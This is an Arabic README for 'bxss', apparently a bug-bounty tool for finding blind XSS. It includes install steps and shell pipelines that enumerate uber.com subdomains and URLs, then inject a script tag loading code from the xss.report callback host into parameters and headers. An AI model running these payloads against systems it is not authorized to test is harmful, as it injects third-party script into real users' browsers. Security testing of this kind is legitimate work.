Bxss - ماسح XSS أعمى

🚀 الوصف

Bxss هو ماسح XSS أعمى عالي الأداء يقوم بأتمتة اكتشاف ثغرات XSS العمياء في تطبيقات الويب.

✨ المميزات

• حقن حمولات XSS العمياء في العناوين المخصصة والبارامترات
• دعم طرق HTTP متعددة (PUT, POST, GET, OPTIONS)
• مسح عالي السرعة مع دعم التزامن
• سهولة الربط مع الأدوات الأخرى
• تثبيت واستخدام بسيطان

🧠 قيد التطوير

نعمل حاليًا بنشاط على دمج مجموعة عمال تعتمد على Chromium لتعزيز أداء bxss على الأجهزة منخفضة الإمكانيات.

ستتيح هذه الميزة إسناد المهام كثيفة الموارد، مثل اكتشاف XSS القائم على DOM أو فحص الحمولات بعد التشغيل، إلى مثيلات Chromium خفيفة الوزن تُدار عبر مجموعة. من خلال توزيع عبء العمل عبر سياقات متصفح دون واجهة رسومية بعدد محدود وفعال، سيظل bxss سريع الاستجابة وقابلًا للاستخدام حتى على الأجهزة الأقل إمكانيات.

سيجعل هذا bxss ليس فقط قويًا بل أيضًا سهل الوصول، بغض النظر عن قيود النظام.

✅ قائمة المهام

• مجموعة عمال Chromium للتفاعل مع DOM والتحقق البصري
• إخراج تقارير بصيغة HTML/JSON اختياري
• إضافة دعم لتخصيص الحمولات عبر منصات متعددة (XSS Hunter, Interactsh, إلخ)
• دعم الوكيل (Proxy)
• استيراد طلبات مخصصة

🧪 مميزات تجريبية

• وضع التتبع (تجريبي)

📦 التثبيت

go install -v github.com/ethicalhackingplayground/bxss/v2/cmd/bxss@latest

⚙️ الوسائط

🎬 عرض توضيحي

📝 ما هو وضع التتبع؟

وضع التتبع هو ميزة تجريبية تسمح لك بتعقب المكان الذي تم فيه تشغيل BlindXSS، بعض منصات BlindXSS الخارجية مثل https://xss.report/ تتيح لك تحديد بارامترات مخصصة في حمولاتك، وهذا يتيح لك تتبع المكان الذي تم فيه تشغيل BlindXSS، على سبيل المثال إذا حددت البارامتر url=https://somehost.com في حمولتك، ستستخدم الأداة الحمولة

'"><script src=https://xss.report/c/username?url=https://somehost.com></script>'

للاختبار وعند التشغيل، ستتمكن من فحص DOM ورؤية المضيف الذي تم تشغيل BlindXSS منه.

تأكد عند تعيين بارامترات مخصصة في لوحة التحكم الخاصة بك من تعيين url={LINK} حتى يتمكن bxss من استبدال {LINK} تلقائيًا بالرابط الفعلي.

🔥 أمثلة استخدام

البارامترات

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-t

الإلحاق بالبارامترات

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -a -p '><script src=https://xss.report/c/username></script>' \
-t

كل من العناوين والبارامترات

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \
-t

عنوان X-Forwarded-For

subfinder -d uber.com \
| gau \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "X-Forwarded-For"

عناوين وبارامترات مخصصة

echo uber.com \
| haktrails subdomains \
| httpx \
| hakrawler -u \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \
-t

Google Dorks مع Dorki

curl -X GET -H "Authorization: Bearer <Token>" \
-H "X-Secret-Key: <Secret>" \
https://dorki.attaxa.com/api/search?q=site:example.com -s \
| jq -r .[][].url \
| grep "&" \
| bxss -a -p '><script src=https://xss.report/c/username></script>'

عناوين وبارامترات مخصصة مع حد معدل

echo uber.com \
| haktrails subdomains \
| httpx \
| hakrawler -u \
| bxss -a -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \ 
-t \
-rl 10

للبحث المتقدم عن الثغرات واستكشافها، اطّلع على Dorki واشترك اليوم!

☕ دعم المشروع

إذا حصلت على مكافأة باستخدام هذه الأداة، فكر في دعمي بشراء فنجان قهوة!